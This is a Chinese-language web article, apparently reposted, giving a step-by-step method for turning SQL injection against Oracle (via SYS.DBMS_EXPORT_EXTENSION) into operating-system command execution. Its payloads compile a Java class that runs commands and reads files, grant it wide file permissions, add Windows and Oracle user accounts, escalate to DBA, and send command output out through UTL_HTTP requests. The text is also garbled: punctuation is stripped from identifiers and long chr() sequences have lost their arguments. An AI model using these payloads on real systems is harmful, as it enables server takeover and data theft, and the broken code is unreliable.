介紹一個在web上通過oracle注入直接取得主機cmdshell的方法
以下的演示都是在web上的sql plus執行的在web注入時 把select SYSDBMS_EXPORT_EXTENSION…改成
/xxxjsp?id= and ′<>a||(select SYSDBMS_EXPORT_EXTENSION…)
的形式即可(用 a|| 是為了讓語句返回true值)
語句有點長可能要用post提交
以下是各個步驟
創建包
通過注入 SYSDBMS_EXPORT_EXTENSION 函數在oracle上創建Java包LinxUtil裡面兩個函數runCMD用於執行系統命令readFile用於讀取文件
/xxxjsp?id= and ′<>a||(
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace and compile java source named LinxUtil as import javaio*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( RuntimegetRuntime()exec(args)getInputStream() ) ); String stempstr=;while ((stemp = myReaderreadLine()) != null) str +=stemp+\n;myReaderclose();return str;} catch (Exception e){return etoString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stempstr=;while ((stemp = myReaderreadLine()) != null) str +=stemp+\n;myReaderclose();return str;} catch (Exception e){return etoString();}}
};END;;END;–SYS′) from dual
)
————————
如果url有長度限制可以把readFile()函數塊去掉即
/xxxjsp?id= and ′<>a||(
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace and compile java source named LinxUtil as import javaio*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( RuntimegetRuntime()exec(args)getInputStream() ) ); String stempstr=;while ((stemp = myReaderreadLine()) != null) str +=stemp+\n;myReaderclose();return str;} catch (Exception e){return etoString();}}
};END;;END;–SYS′) from dual
)
同時把後面步驟 提到的 對readFile()的處理語句去掉
——————————
賦Java權限
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE begin dbms_javagrant_permission( PUBLIC SYS:javaioFilePermission <<ALL FILES>> execute );end;;END;;END;–SYS′) from dual
創建函數
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace function LinxRunCMD(p_cmd in varchar) return varchar as language java name LinxUtilrunCMD(javalangString) return String; ;END;;END;–SYS′) from dual
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace function LinxReadFile(filename in varchar) return varchar as language java name LinxUtilreadFile(javalangString) return String; ;END;;END;–SYS′) from dual
賦public執行函數的權限
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE grant all on LinxRunCMD to public;END;;END;–SYS′) from dual
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE grant all on LinxReadFile to public;END;;END;–SYS′) from dual
測試上面的幾步是否成功
and ′<>′||(
select OBJECT_ID from all_objects where object_name =LINXRUNCMD
)
and ′<>(
select OBJECT_ID from all_objects where object_name =LINXREADFILE
)
執行命令
/xxxjsp?id= and ′<>(
select sysLinxRunCMD(cmd /c net user linx /add) from dual
)
/xxxjsp?id= and ′<>(
select sysLinxReadFile(c:/bootini) from dual
)
注意sysLinxReadFile()返回的是varchar類型不能用and <> 代替 and ′<>
如果要查看運行結果可以用 union :
/xxxjsp?id= union select sysLinxRunCMD(cmd /c net user linx /add) from dual
或者UTL_HTTPrequest(:
/xxxjsp?id= and ′<>(
SELECT UTL_HTTPrequest(?a=LinxRunCMD:||REPLACE(REPLACE(sysLinxRunCMD(cmd /c net user aaa /del) %′)\n%A)) FROM dual
)
/xxxjsp?id= and ′<>(
SELECT UTL_HTTPrequest(?a=LinxRunCMD:||REPLACE(REPLACE(sysLinxReadFile(c:/bootini) %′)\n%A)) FROM dual
)
注意用UTL_HTTPrequest時要用 REPLACE() 把空格換行符給替換掉否則會無法提交http request用utl_encodebase_encode也可以
——————–
內部變化
通過以下命令可以查看all_objects表達改變
select * from all_objects where object_name like %LINX% or object_name like %Linx%
刪除我們創建的函數
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
drop function LinxRunCMD ;END;;END;–SYS′) from dual
====================================================
全文結束謹以此文贈與我的朋友
linx
[email=li]li[/email]
======================================================================
測試漏洞的另一方法
創建oracle帳號
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
CREATE USER linxsql IDENTIFIED BY linxsql;END;;END;–SYS′) from dual
即
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(chr()||chr()||chr()chr()||chr()||chr()
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()chr()||chr()||chr()chr()) from dual
確定漏洞存在
<>(
select user_id from all_users where username=LINXSQL
)
給linxsql連接權限
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
GRANT CONNECT TO linxsql;END;;END;–SYS′) from dual
刪除帳號
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
drop user LINXSQL;END;;END;–SYS′) from dual
======================
以下方法創建一個可以執行多語句的函數Linx_query()執行成功的話返回數值″但權限是繼承的可能僅僅是public權限作用似乎不大真的要用到話可以考慮grant dba to 當前的User
jsp?id= and ′<>(
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace function Linx_query (p varchar) return number authid current_user is begin execute immediate p; return ; end; ;END;;END;–SYS′) from dual
) and …
jsp?id= and ′<>(
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE grant all on Linx_query to public;END;;END;–SYS′) from dual
) and …
jsp?id= and ′<>(
SELECT sysLinx_Query(SELECT FROM DUAL) FROM DUAL
) and …
jsp?id= and ′<>(
SELECT sysLinx_Query(declare pragma
autonomous_transaction; begin execute immediate
select from dual
; commit; end;) from dual
) and …
多語句
SELECT sysLinx_Query(declare temp varchar(); begin select into temp from dual; select into temp from dual; end;) from dual
創建用戶(除非當前用戶有system權限否則無法成功)
SELECT sysLinx_Query(declare pragma
autonomous_transaction; begin execute immediate
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
; commit; end;) from dual
================
以下的方法是先建立函數Linx_Query()再建立 RunCMD()
創建函數
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace function Linx_Query (p
varchar) return number authid current_user is begin execute immediate
p; return ; end; ;END;;END;–SYS′) from dual;
如果有權限以下語句應該允許正常
select syslinx_query(select from dual) from dual;
不然的話運行
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(FOOBARDBMS_OUTPUTPUT(:P);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
grant dba to 當前的User;END;;END;–SYS′) from dual
創建包
SELECT sysLinx_Query(declare pragma
autonomous_transaction; begin execute immediate
create or replace and compile java source named LinxUtil″ as import javaio*;public class LinxUtil extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( RuntimegetRuntime()exec(args)getInputStream() ) ); String stempstr=;while ((stemp = myReaderreadLine()) != null) str +=stemp+\n;return str;}}; commit; end;) from dual
創建函數
SELECT sysLinx_Query(declare pragma
autonomous_transaction; begin execute immediate
create or replace function RunCMD(p_cmd in varchar) return varchar as language java name LinxUtilRunCMD(javalangString) return String;; commit; end;) from dual
給權限
給用戶SYSTEM執行權限
SELECT sysLinx_Query(declare pragma autonomous_transaction;begin dbms_javagrant_permission( SYSTEM SYS:javaioFilePermission <<ALL FILES>> execute );end;) from dual
執行函數
select RunCMD(cmd /c dir) from dual
==================
================================
以下是無 版
以下是各個步驟
創建包
通過注入 SYSDBMS_EXPORT_EXTENSION 函數在oracle上創建Java包LinxUtil裡面兩個函數runCMD用於執行系統命令readFile用於讀取文件
因為建立了兩個函數轉換為ascii後語句更長了注意提交時不要把換行去掉否則執行不成功的
/xxxjsp?id= and chr()<>chr()||(
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(chr()||chr()||chr()chr()||chr()||chr()
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()
chr()||chr()||chr()chr()) from dual
)
——————————
賦Java權限
/xxxjsp?id= and chr()<>chr()||(
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(chr()||chr()||chr()chr()||chr()||chr()
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()
chr()||chr()||chr()chr()) from dual
)
readfile函數的ascii版就不寫了見諒
創建函數
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(chr()||chr()||chr()chr()||chr()||chr()
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()
chr()||chr()||chr()chr()) from dual
賦public執行函數的權限
select SYSDBMS_EXPORT_EXTENSIONGET_DOMAIN_INDEX_TABLES(chr()||chr()||chr()chr()||chr()||chr()
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||
chr()||chr()||chr()
chr()||chr()||chr()chr()) from dual
執行命令
/xxxjsp?id= and chr()<>chr()||(
select sysLinxRunCMD(cmd /c net user linx /add) from dual
)
即
/xxxjsp?id= and chr()<>chr()||(
select sysLinxRunCMD(chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()||chr()) from dual
)
From:http://tw.wingwit.com/Article/program/Oracle/201311/18679.html